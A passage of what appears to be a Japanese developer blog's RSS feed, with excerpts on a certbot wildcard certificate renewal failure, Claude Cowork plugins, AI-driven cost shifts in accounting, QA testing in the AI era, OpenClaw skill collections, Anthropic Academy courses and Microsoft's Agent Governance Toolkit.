&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[renewalparams]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;authenticator&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;manual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;pref_challs&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;dns-01,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;authenticator が &lt;code&gt;manual&lt;/code&gt;&lt;/strong&gt; になっていた。&lt;/p&gt;
&lt;p&gt;ワイルドカード証明書は DNS-01 チャレンジが必須だが、&lt;code&gt;manual&lt;/code&gt; モードでは certbot が更新のたびに「この TXT レコードを DNS に追加してください」と対話的に聞いてくる。つまり &lt;strong&gt;自動更新が不可能&lt;/strong&gt; な状態だった。&lt;/p&gt;
&lt;p&gt;systemd timer (&lt;code&gt;certbot.timer&lt;/code&gt;) は1日2回動いていたが、&lt;code&gt;manual&lt;/code&gt; モードの証明書は自動更新をスキップされるため、期限切れまで放置されていた。&lt;/p&gt;
&lt;h2 id="対応方針"&gt;対応方針&lt;/h2&gt;
&lt;p&gt;2つの選択肢を検討した。&lt;/p&gt;</description></item><item><title>Claude Cowork スターターパック：プラグイン・スキル・ワークフロー完全ガイド</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-%E3%82%B9%E3%82%BF%E3%83%BC%E3%82%BF%E3%83%BC%E3%83%91%E3%83%83%E3%82%AF%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%B9%E3%82%AD%E3%83%AB%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Mon, 16 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-%E3%82%B9%E3%82%BF%E3%83%BC%E3%82%BF%E3%83%BC%E3%83%91%E3%83%83%E3%82%AF%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%B9%E3%82%AD%E3%83%AB%E3%83%AF%E3%83%BC%E3%82%AF%E3%83%95%E3%83%AD%E3%83%BC%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>&lt;p&gt;Corey Ganim 氏が公開した「Ultimate Claude Cowork Starter Pack」が話題になっています。Claude Cowork を単なるチャットボットではなく、本格的な生産性ツールとして活用するための設定方法を体系的にまとめた記事です。本稿ではその要点を日本語で紹介します。&lt;/p&gt;
&lt;h2 id="claude-cowork-とは"&gt;Claude Cowork とは&lt;/h2&gt;
&lt;p&gt;Claude Cowork は Anthropic が提供するデスクトップ向け AI ワークスペースです。プラグイン・スキル・コンテキストファイルを組み合わせることで、日常業務を大幅に効率化できます。&lt;/p&gt;
&lt;h2 id="まずインストールすべき4つのプラグイン"&gt;まずインストールすべき4つのプラグイン&lt;/h2&gt;
&lt;h3 id="1-productivity-プラグイン最優先"&gt;1. Productivity プラグイン（最優先）&lt;/h3&gt;
&lt;p&gt;タスク管理・スケジューリング・ワークフロー自動化を提供します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/task&lt;/code&gt; — タスクの作成・追跡&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/schedule&lt;/code&gt; — カレンダーへの時間ブロック&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/workflow&lt;/code&gt; — 保存済みの多段ステップ自動化の実行&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-marketing-プラグイン"&gt;2. Marketing プラグイン&lt;/h3&gt;
&lt;p&gt;コンテンツ制作を支援します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1つのコンテンツを5つの SNS 投稿に変換&lt;/li&gt;
&lt;li&gt;テーマとフックを含むコンテンツカレンダーの作成&lt;/li&gt;
&lt;li&gt;キャンペーンの一括管理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-data-プラグイン"&gt;3. Data プラグイン&lt;/h3&gt;
&lt;p&gt;データ分析タスクに対応します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;スプレッドシートの分析&lt;/li&gt;
&lt;li&gt;ダッシュボードの構築&lt;/li&gt;
&lt;li&gt;データの整理・変換&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-sales-プラグイン"&gt;4. Sales プラグイン&lt;/h3&gt;
&lt;p&gt;営業活動を効率化します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アカウントリサーチ&lt;/li&gt;
&lt;li&gt;ミーティング前ブリーフの自動作成（通常30分 → 3分に短縮）&lt;/li&gt;
&lt;li&gt;アウトリーチ文面の生成&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="コンテキストファイルの設定"&gt;コンテキストファイルの設定&lt;/h2&gt;
&lt;p&gt;Ganim 氏が強調するのは「プロンプトの時代は終わり、コンテキストの時代が来た」（The prompting game is over. The context game is everything.）という点です。&lt;/p&gt;</description></item><item><title>AI駆動開発で変わるコスト構造：技術力からドメイン知識へのシフト</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E9%A7%86%E5%8B%95%E9%96%8B%E7%99%BA%E3%81%A7%E5%A4%89%E3%82%8F%E3%82%8B%E3%82%B3%E3%82%B9%E3%83%88%E6%A7%8B%E9%80%A0%E6%8A%80%E8%A1%93%E5%8A%9B%E3%81%8B%E3%82%89%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E7%9F%A5%E8%AD%98%E3%81%B8%E3%81%AE%E3%82%B7%E3%83%95%E3%83%88/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E9%A7%86%E5%8B%95%E9%96%8B%E7%99%BA%E3%81%A7%E5%A4%89%E3%82%8F%E3%82%8B%E3%82%B3%E3%82%B9%E3%83%88%E6%A7%8B%E9%80%A0%E6%8A%80%E8%A1%93%E5%8A%9B%E3%81%8B%E3%82%89%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E7%9F%A5%E8%AD%98%E3%81%B8%E3%81%AE%E3%82%B7%E3%83%95%E3%83%88/</guid><description>&lt;p&gt;Claude Code を活用して税理士がスタッフ 0 人で顧問先 60 社を運営している事例が話題になっている。この事例が示すのは、AI 駆動開発による IT 企業のコスト構造の崩壊と、「技術力」から「ドメイン知識」への価値シフトだ。&lt;/p&gt;
&lt;h2 id="税理士事務所の事例6人分の人件費を-ai-で代替"&gt;税理士事務所の事例：6人分の人件費を AI で代替&lt;/h2&gt;
&lt;p&gt;税理士の畠山謙人氏が Claude Code で構築した AI 経理システムの事例が注目を集めている（&lt;a href="https://cenleaf.com/blog/cpa-claude-code-automation-60companies/"&gt;cenleaf.com の詳細記事&lt;/a&gt;）。&lt;/p&gt;
&lt;p&gt;通常、税理士事務所では顧問先 10 社あたり 1 人のスタッフが必要とされる。60 社なら最低 6 人、年間人件費は約 3,000 万円。しかし Claude Code を中心とした AI システムにより、1 人で運営できる体制を実現した。&lt;/p&gt;
&lt;h3 id="コスト削減の全体像"&gt;コスト削減の全体像&lt;/h3&gt;
&lt;p&gt;表面的な人件費 3,000 万円の削減だけでなく、以下の隠れたコストも消える:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;採用コスト&lt;/strong&gt;: 1 人あたり 50〜100 万円 × 6 人 = 年 300〜600 万円&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;労務リスク・教育・引き継ぎコスト&lt;/strong&gt;: ゼロに&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;固定費から変動費への転換&lt;/strong&gt;: 赤字耐性の向上&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;実際の P/L インパクトは 4,000 万円超と試算される。&lt;/p&gt;
&lt;h3 id="自動化の仕組み"&gt;自動化の仕組み&lt;/h3&gt;
&lt;p&gt;構築されたシステムでは以下を自動化している:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;freee の未処理明細を自動取得し、ルールベースで勘定科目を判定&lt;/li&gt;
&lt;li&gt;判定が難しいものだけ人間に回すエスカレーション設計&lt;/li&gt;
&lt;li&gt;請求書処理、ソフト移行、メール下書きの自動化&lt;/li&gt;
&lt;li&gt;給与・税金・借入返済など「触ってはいけない項目」の除外ルール&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;重要なのは、完全自動化ではなく「人間が見る範囲を残す線引き」まで含めた仕組み化だ。&lt;/p&gt;
&lt;h2 id="開発の民主化と-it-企業のコスト構造崩壊"&gt;開発の民主化と IT 企業のコスト構造崩壊&lt;/h2&gt;
&lt;p&gt;この事例の本質は、税理士という非エンジニアが Claude Code で Web アプリを複数開発し、本来なら数百万〜数千万円かかる開発をほぼゼロコストで実現している点にある。&lt;/p&gt;</description></item><item><title>AI時代のQA：「決定論から確率論へ」のパラダイムシフト</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E6%99%82%E4%BB%A3%E3%81%AEqa%E6%B1%BA%E5%AE%9A%E8%AB%96%E3%81%8B%E3%82%89%E7%A2%BA%E7%8E%87%E8%AB%96%E3%81%B8%E3%81%AE%E3%83%91%E3%83%A9%E3%83%80%E3%82%A4%E3%83%A0%E3%82%B7%E3%83%95%E3%83%88/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E6%99%82%E4%BB%A3%E3%81%AEqa%E6%B1%BA%E5%AE%9A%E8%AB%96%E3%81%8B%E3%82%89%E7%A2%BA%E7%8E%87%E8%AB%96%E3%81%B8%E3%81%AE%E3%83%91%E3%83%A9%E3%83%80%E3%82%A4%E3%83%A0%E3%82%B7%E3%83%95%E3%83%88/</guid><description>&lt;p&gt;AI の進化により、ソフトウェアの品質保証（QA）が根本的な転換期を迎えている。従来の「OK/NG を明確に判定する」決定論的なテストから、「明らかに間違っているものを排除する」確率論的なアプローチへ。このパラダイムシフトが QA エンジニアの役割をどう変えるのかを考える。&lt;/p&gt;
&lt;h2 id="決定論から確率論へ"&gt;決定論から確率論へ&lt;/h2&gt;
&lt;p&gt;従来のソフトウェアテストは決定論的だった。入力に対して期待される出力が一意に定まり、テスト結果は OK か NG かの二択。しかし、AI を組み込んだシステムでは、同じ入力に対しても出力が毎回異なる可能性がある。&lt;/p&gt;
&lt;p&gt;MIT Technology Review でも報じられているように、コンピューティングの世界全体が決定論的アプローチから確率論的アプローチへ移行しつつある。QA もこの流れと無縁ではない。&lt;/p&gt;
&lt;p&gt;AI システムのテストでは、「正解を一つ定義して合否を判定する」のではなく、「明らかに間違っているものを排除し、許容範囲内に収まっているかを評価する」アプローチが求められる。&lt;/p&gt;
&lt;h2 id="テストコードの-ai-丸投げが危険な理由"&gt;テストコードの AI 丸投げが危険な理由&lt;/h2&gt;
&lt;p&gt;「AI にテストコードを書かせれば効率的」と考えるのは自然だが、ここには大きな落とし穴がある。&lt;/p&gt;
&lt;p&gt;AI が生成するテストコードは、実装コードに対して表面的にフィットするテストを作りがちだ。つまり、実装の動作を追認するだけのテストになりやすい。本来テストが担うべき「仕様に対する検証」や「境界値・異常系の網羅」といった設計意図が欠落する可能性がある。&lt;/p&gt;
&lt;p&gt;テスト設計とは「何をテストすべきか」を決める行為であり、テストコードの記述は「どうテストするか」の実装に過ぎない。AI に丸投げして効率化できるのは後者であり、前者は依然として人間の判断力が不可欠だ。&lt;/p&gt;
&lt;h2 id="テスト設計スキルの希少性"&gt;テスト設計スキルの希少性&lt;/h2&gt;
&lt;p&gt;テスト設計ができるエンジニアは 100 人中 5 人程度とも言われる。この希少性は AI 時代においてむしろ差別化要因になる。&lt;/p&gt;
&lt;p&gt;MagicPod のブログでも指摘されているように、AI が代替するのは定型的な作業だ。テスト設計・実行の自動化や不具合記録などの繰り返し業務は急速に自動化されている。一方で、以下のようなスキルは AI では代替が難しい。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リスク分析に基づくテスト戦略の策定&lt;/strong&gt; — どこに重点的にテストリソースを配分すべきかの判断&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ビジネスコンテキストの理解&lt;/strong&gt; — 技術的な正しさだけでなく、ビジネスインパクトを考慮した品質判断&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;探索的テスト&lt;/strong&gt; — 仕様書に書かれていない暗黙の要件やエッジケースの発見&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="テスト設計情報の少なさと-ai-の学習限界"&gt;テスト設計情報の少なさと AI の学習限界&lt;/h2&gt;
&lt;p&gt;テスト設計に関する公開情報は、コーディングに関する情報と比較して圧倒的に少ない。Stack Overflow や GitHub にはコードは大量にあるが、「なぜそのテストケースを選んだのか」「どのようなリスク分析に基づいてテスト戦略を決めたのか」といったテスト設計の知見は体系的に蓄積されていない。&lt;/p&gt;
&lt;p&gt;つまり、AI はテスト設計を学習するための十分なデータを持っていない。これは裏を返せば、テスト設計のスキルを持つ人材の価値が AI 時代にも維持される理由でもある。&lt;/p&gt;
&lt;h2 id="日本のテスト分析設計の強み"&gt;日本のテスト分析・設計の強み&lt;/h2&gt;
&lt;p&gt;日本はソフトウェアテストの分析・設計の分野で国際的にリードしている。組み合わせテスト技法、状態遷移テスト、デシジョンテーブルテストなど、体系的なテスト設計手法の発展に貢献してきた。&lt;/p&gt;
&lt;p&gt;しかし、この強みが十分に活かされているとは言い難い。テスト設計の知見が暗黙知にとどまり、コミュニティ全体で共有・活用される仕組みが不足している。AI 時代にこの強みを活かすためには、テスト設計の知見をより体系的に言語化・公開していく取り組みが重要になるだろう。&lt;/p&gt;
&lt;h2 id="ai-エージェントによるテスト設計実行の実践"&gt;AI エージェントによるテスト設計・実行の実践&lt;/h2&gt;
&lt;p&gt;では、実際に AI エージェントをテスト設計・実行にどう活用すべきなのか。この分野では理論と実践の両面で急速に知見が蓄積されつつある。&lt;/p&gt;</description></item><item><title>OpenClawスキルの厳選コレクション — AIエージェントを即戦力にするスキル集</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AE%E5%8E%B3%E9%81%B8%E3%82%B3%E3%83%AC%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%8D%B3%E6%88%A6%E5%8A%9B%E3%81%AB%E3%81%99%E3%82%8B%E3%82%B9%E3%82%AD%E3%83%AB%E9%9B%86/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%AE%E5%8E%B3%E9%81%B8%E3%82%B3%E3%83%AC%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E5%8D%B3%E6%88%A6%E5%8A%9B%E3%81%AB%E3%81%99%E3%82%8B%E3%82%B9%E3%82%AD%E3%83%AB%E9%9B%86/</guid><description>&lt;p&gt;OpenClawのスキルエコシステムが急速に拡大しています。公式レジストリ「ClawHub」には13,000以上のコミュニティ製スキルが登録されていますが、その中から厳選・カテゴリ整理されたコレクションが公開され、注目を集めています。&lt;/p&gt;
&lt;h2 id="openclawスキルとは"&gt;OpenClawスキルとは&lt;/h2&gt;
&lt;p&gt;OpenClawはローカルで動作するAIアシスタントです。「スキル」は外部サービスとの連携やワークフローの自動化を実現する拡張機能で、インストールするだけでエージェントの能力を大幅に拡張できます。&lt;/p&gt;
&lt;h2 id="注目のスキルコレクション"&gt;注目のスキルコレクション&lt;/h2&gt;
&lt;h3 id="awesome-openclaw-skillsvoltagent"&gt;awesome-openclaw-skills（VoltAgent）&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/VoltAgent/awesome-openclaw-skills"&gt;VoltAgent/awesome-openclaw-skills&lt;/a&gt; は、ClawHubの13,729スキルからスパム・重複・低品質なものを除外し、&lt;strong&gt;5,366スキル&lt;/strong&gt;を厳選したAwesomeリストです。GitHub スター数は37,000超。&lt;/p&gt;
&lt;p&gt;主なカテゴリ:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;カテゴリ&lt;/th&gt;
&lt;th&gt;スキル数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Coding Agents &amp;amp; IDEs&lt;/td&gt;
&lt;td&gt;1,222&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web &amp;amp; Frontend Development&lt;/td&gt;
&lt;td&gt;938&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DevOps &amp;amp; Cloud&lt;/td&gt;
&lt;td&gt;409&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Search &amp;amp; Research&lt;/td&gt;
&lt;td&gt;352&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Browser &amp;amp; Automation&lt;/td&gt;
&lt;td&gt;335&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Productivity &amp;amp; Tasks&lt;/td&gt;
&lt;td&gt;206&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI &amp;amp; LLMs&lt;/td&gt;
&lt;td&gt;197&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Git &amp;amp; GitHub&lt;/td&gt;
&lt;td&gt;170&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="openclaw-master-skillsleoyeai"&gt;openclaw-master-skills（LeoYeAI）&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/LeoYeAI/openclaw-master-skills"&gt;LeoYeAI/openclaw-master-skills&lt;/a&gt; は、MyClaw.aiが毎週更新する&lt;strong&gt;339+スキル&lt;/strong&gt;の厳選コレクションです。AI、生産性、開発、マーケティング、金融など幅広いカテゴリをカバーしています。&lt;/p&gt;
&lt;h2 id="カテゴリ別おすすめスキル"&gt;カテゴリ別おすすめスキル&lt;/h2&gt;
&lt;h3 id="aiツール連携"&gt;AIツール連携&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Slack&lt;/strong&gt;: リアルタイムメッセージの送受信、チャンネル管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Notion&lt;/strong&gt;: ページの同期・ナレッジ管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Outlook&lt;/strong&gt;: メール操作・カレンダー連携&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linear / Trello&lt;/strong&gt;: タスク管理・プロジェクト進捗の追跡&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1Password&lt;/strong&gt;: シークレット管理・セキュリティ連携&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="devops自動化"&gt;DevOps自動化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker&lt;/strong&gt;: コンテナのビルド・管理・デプロイ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git&lt;/strong&gt;: ブランチ管理、コミット履歴の操作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub CLI&lt;/strong&gt;: Issue・PR の操作、リリース管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;n8n&lt;/strong&gt;: ワークフロー自動化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expo CI/CD&lt;/strong&gt;: モバイルアプリのビルド・デプロイ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="web自動化"&gt;Web自動化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Playwright&lt;/strong&gt;: フォーム入力、データ抽出、ブラウザ操作&lt;/li&gt;
&lt;li&gt;AIによるWebタスクの自動化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="生産性向上"&gt;生産性向上&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Todoist / Things 3&lt;/strong&gt;: タスク管理&lt;/li&gt;
&lt;li&gt;カレンダー同期&lt;/li&gt;
&lt;li&gt;ドキュメント処理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="開発パターン"&gt;開発パターン&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Next.js&lt;/strong&gt;: 実装パターン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;React&lt;/strong&gt;: 状態管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Node.js&lt;/strong&gt;: バックエンドパターン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;REST / GraphQL&lt;/strong&gt;: API設計&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL&lt;/strong&gt;: データベース操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="スキルのインストール方法"&gt;スキルのインストール方法&lt;/h2&gt;
&lt;p&gt;ClawHub CLIを使ったインストール:&lt;/p&gt;</description></item><item><title>Anthropic AI Academy: Claude を体系的に学べる無料公式コース</title><link>https://hdknr.github.io/blogs/posts/2026/03/anthropic-ai-academy-claude-%E3%82%92%E4%BD%93%E7%B3%BB%E7%9A%84%E3%81%AB%E5%AD%A6%E3%81%B9%E3%82%8B%E7%84%A1%E6%96%99%E5%85%AC%E5%BC%8F%E3%82%B3%E3%83%BC%E3%82%B9/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/anthropic-ai-academy-claude-%E3%82%92%E4%BD%93%E7%B3%BB%E7%9A%84%E3%81%AB%E5%AD%A6%E3%81%B9%E3%82%8B%E7%84%A1%E6%96%99%E5%85%AC%E5%BC%8F%E3%82%B3%E3%83%BC%E3%82%B9/</guid><description>&lt;p&gt;Anthropic が公式の学習プラットフォーム「&lt;strong&gt;Anthropic Academy&lt;/strong&gt;」を無料公開しました。Claude Code、API、MCP、エージェントスキルなど、13コースが完全無料で受講でき、修了証も取得可能です。&lt;/p&gt;
&lt;h2 id="anthropic-academy-とは"&gt;Anthropic Academy とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://anthropic.skilljar.com/"&gt;Anthropic Academy&lt;/a&gt; は、Anthropic が提供する公式のセルフペース学習プラットフォームです。AI の基礎から本番レベルの API 開発まで、3つのラーニングトラックで構成されています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;登録&lt;/strong&gt;: メールアドレスのみ（クレジットカード不要）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;費用&lt;/strong&gt;: 完全無料&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修了証&lt;/strong&gt;: コース完了時に取得可能（LinkedIn プロフィールに追加可）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3つのラーニングトラック"&gt;3つのラーニングトラック&lt;/h2&gt;
&lt;h3 id="1-ai-fluencyai-リテラシー"&gt;1. AI Fluency（AI リテラシー）&lt;/h3&gt;
&lt;p&gt;コードを書かずに AI を理解したい人向けのトラックです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Claude 101&lt;/strong&gt; — Claude の基本機能とプロンプティングの基礎&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI Fluency: Framework &amp;amp; Foundations&lt;/strong&gt; — AI の中核概念を学ぶ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI Fluency for educators&lt;/strong&gt; — 教育者向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI Fluency for students&lt;/strong&gt; — 学生向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI Fluency for nonprofits&lt;/strong&gt; — 非営利団体向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Teaching AI Fluency&lt;/strong&gt; — インストラクター向けの教授法&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-product-trainingプロダクト連携"&gt;2. Product Training（プロダクト連携）&lt;/h3&gt;
&lt;p&gt;Claude を業務ワークフローに組み込みたいプロフェッショナル向けです。&lt;/p&gt;</description></item><item><title>Microsoft Agent Governance Toolkit：AIエージェントのセキュリティを4つの柱で守るOSSツールキット</title><link>https://hdknr.github.io/blogs/posts/2026/03/microsoft-agent-governance-toolkitai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%82%924%E3%81%A4%E3%81%AE%E6%9F%B1%E3%81%A7%E5%AE%88%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB%E3%82%AD%E3%83%83%E3%83%88/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/microsoft-agent-governance-toolkitai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%82%924%E3%81%A4%E3%81%AE%E6%9F%B1%E3%81%A7%E5%AE%88%E3%82%8Boss%E3%83%84%E3%83%BC%E3%83%AB%E3%82%AD%E3%83%83%E3%83%88/</guid><description>&lt;p&gt;Microsoft がオープンソースで公開した &lt;a href="https://github.com/microsoft/agent-governance-toolkit"&gt;Agent Governance Toolkit&lt;/a&gt; は、自律型 AI エージェントに欠けていたセキュリティレイヤーを提供するツールキットだ。ポリシー強制、ゼロトラスト ID、実行サンドボックス、信頼性エンジニアリングの4つの柱で、OWASP Agentic Top 10 の全10項目のリスクをカバーする。&lt;/p&gt;
&lt;h2 id="背景なぜ-ai-エージェントにガバナンスが必要か"&gt;背景：なぜ AI エージェントにガバナンスが必要か&lt;/h2&gt;
&lt;p&gt;AI エージェントが自律的にツールを呼び出し、ファイルを操作し、外部 API と通信する時代になった。しかし、その自律性にはリスクが伴う。意図しないゴールの書き換え、過剰な権限の付与、エージェント間通信の改ざん、カスケード障害など、従来の Web アプリケーションとは異なるセキュリティ課題がある。&lt;/p&gt;
&lt;p&gt;OWASP は「Agentic Top 10」として AI エージェント特有のリスクを定義しており、Agent Governance Toolkit はこの全10項目に対応している。&lt;/p&gt;
&lt;h2 id="4つの柱"&gt;4つの柱&lt;/h2&gt;
&lt;h3 id="1-policy-engineポリシーエンジン"&gt;1. Policy Engine（ポリシーエンジン）&lt;/h3&gt;
&lt;p&gt;すべてのエージェントアクションを実行前に評価し、許可・拒否を判定する。サブミリ秒（0.1ms 未満）のレイテンシで動作するため、エージェントの応答速度に影響を与えない。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
